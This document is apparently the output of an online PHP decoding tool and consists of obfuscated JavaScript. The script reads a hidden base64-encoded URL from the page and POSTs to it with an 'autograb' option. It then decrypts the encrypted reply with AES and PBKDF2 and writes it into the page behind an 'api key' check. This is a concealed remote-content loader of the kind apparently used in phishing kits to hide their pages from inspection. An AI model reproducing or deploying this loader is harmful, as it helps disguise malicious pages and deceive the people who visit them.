PHP Decode

<?  var vbadab193= document.createElement('script'); 
var autograb = 0; 
vbadab193.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
document.head.append(vbadab193); 
 
var vf69f7428= document.createElement('script'); 
vf69f7428.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
document.head.append(vf69f7428); 
 
vbadab193.onload=function(){ 
$.support.cors = true 
var v7efcbe81 = atob; 
var v6db0338f6d0cdd3ca53 = "".split; 
var v70aa34b5 = [].constructor.constructor(v7efcbe81("cmV0dXJuIENyeXB0b0pT")); 
var v271c82a9 = v7efcbe81($('#b64u').val()); 
$.post(v271c82a9,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '')) 
	.done(function(vf80603b0){ 
	function vac44024e(f){ 
			var O00O1II = v6db0338f6d0cdd3ca53.apply(v7efcbe81(f),[String.fromCharCode(42)]); 
			var O000111 = { 
				OO0O1II: O00O1II[0], 
				OO0OII1: O00O1II[2], 
				OOOOII1 : O00O1II[1], 
				OO0OIII: O00O1II[3], 
			}  
			var OOOOIII = v70aa34b5().PBKDF2(O000111.OO0OIII, v70aa34b5().enc.Hex.parse(O000111.OO0OII1), { hasher: v70aa34b5().algo.SHA512, keySize: 64/8, iterations: 999}); 
			var O00O111 = v70aa34b5().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: v70aa34b5().enc.Hex.parse(O000111.OOOOII1)}); 
			return O00O111.toString(v70aa34b5().enc.Utf8); 
	} 
     if(vf80603b0=='no'){ 
	   document.write('<h1>Please Get an api key to use this page</h1>') 
	 } 
	 else if(vf80603b0 == "outdated"){ 
		 document.write('<h1>Please get an updated  version of the page</h1>') 
	 } 
	 else{ 
		 try{ 
			 document.write(v7efcbe81(vac44024e(vf80603b0))); 
		 }catch(e){ 
			 document.write('<h1>Cannot write to page</h1>') 
		 } 
	 } 
	}) 
	.fail(function(cd,pg){ 
		document.write("<h1>Unable to connect , Server not found</h1>") 
	}) 
} ?>